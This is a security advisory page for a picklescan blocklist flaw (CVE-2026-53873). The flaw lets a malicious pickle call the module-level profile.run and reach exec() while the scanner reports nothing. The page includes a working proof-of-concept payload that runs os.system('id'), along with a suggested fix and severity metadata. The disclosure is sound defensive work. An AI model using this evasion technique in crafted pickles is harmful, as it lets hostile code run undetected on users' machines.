Staging Environment: Content and features may be unstable or change without notice.
Advisory details: pypa / picklescan/PYSEC-2026-455
Advisory ID pypa/picklescan/PYSEC-2026-455
Aliases CVE-2026-53873
GHSA-7wx9-6375-f5wh
PYSEC-2026-455
Summary PickleScan's profile.run blocklist mismatch allows exec() bypass ## Summary picklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `"Profile.run"` does not match the pickle global name `"run"`. ## Severity **High** — Direct code execution via `exec()` with zero scanner detection. ## Affected Versions - picklescan v1.0.3 (latest — the profile entries were added in recent versions) - Earlier versions also affected (profile not blocked at all) ## Details ### Root Cause In `scanner.py` line 199, the blocklist entry for `profile` is: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` When a pickle file imports `profile.run` (the module-level function), picklescan's opcode parser extracts: - `module = "profile"` - `name = "run"` The blocklist check at line 414 is: ```python elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter): ``` This checks: is `"run"` in `{"Profile.run", "Profile.runctx"}`? **Answer: NO.** `"run" != "Profile.run"`. The string comparison is exact — there is no prefix/suffix matching. ### What `profile.run()` Does ```python # From Python's Lib/profile.py def run(statement, filename=None, sort=-1): prof = Profile() try: prof.run(statement) # Calls exec(statement) except SystemExit: pass ... ``` `profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution. ### Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b # profile.run("import os; os.system('id')") payload = ( b"\x80\x04\x95" + struct.pack("<Q", 60) + sbu("profile") + sbu("run") + b"\x93" + sbu("import os; os.system('id')") + b"\x85" + b"R" + b"." ) # picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"}) from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN! # Execute: runs exec("import os; os.system('id')") → RCE pickle.loads(payload) ``` ### Comparison | Pickle Global | Blocklist Entry | Match? | Result | |--------------|-----------------|--------|--------| | `("profile", "run")` | `"Profile.run"` | NO — `"run" != "Profile.run"` | CLEAN (bypass!) | | `("profile", "Profile.run")` | `"Profile.run"` | YES | DETECTED | | `("profile", "runctx")` | `"Profile.runctx"` | NO — `"runctx" != "Profile.runctx"` | CLEAN (bypass!) | The pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code. ## Impact `profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely. ## Suggested Fix Change the `profile` blocklist entry from: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` to: ```python "profile": "*", ``` Or explicitly add the module-level functions: ```python "profile": {"Profile.run", "Profile.runctx", "run", "runctx"}, ``` ## Resources - picklescan source: `scanner.py` line 199 (`"profile": {"Profile.run", "Profile.runctx"}`) - picklescan source: `scanner.py` line 414 (exact string match logic) - Python source: `Lib/profile.py` `run()` function — calls `exec()`
Status Published
Exploitability 0.5
Weighted Severity 8.8
Risk 4.4
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (0)
There are no known CWE.
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Found at https://github.com/pypa/advisory-database/blob/main/vulns/picklescan/PYSEC-2026-455.yaml
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Vector: SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-06-17T17:59:00Z/

Decision: Track*

Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/53xxx/CVE-2026-53873.json

Source Advisory: vulnrichment/CVE-2026-53873

View SSVC decision tree
[{'Exploitation': 'poc'},
 {'Automatable': 'yes'},
 {'Technical Impact': 'total'},
 {'Mission Prevalence': 'minimal'},
 {'Public Well-being Impact': 'material'},
 {'Mission & Well-being': 'medium'}]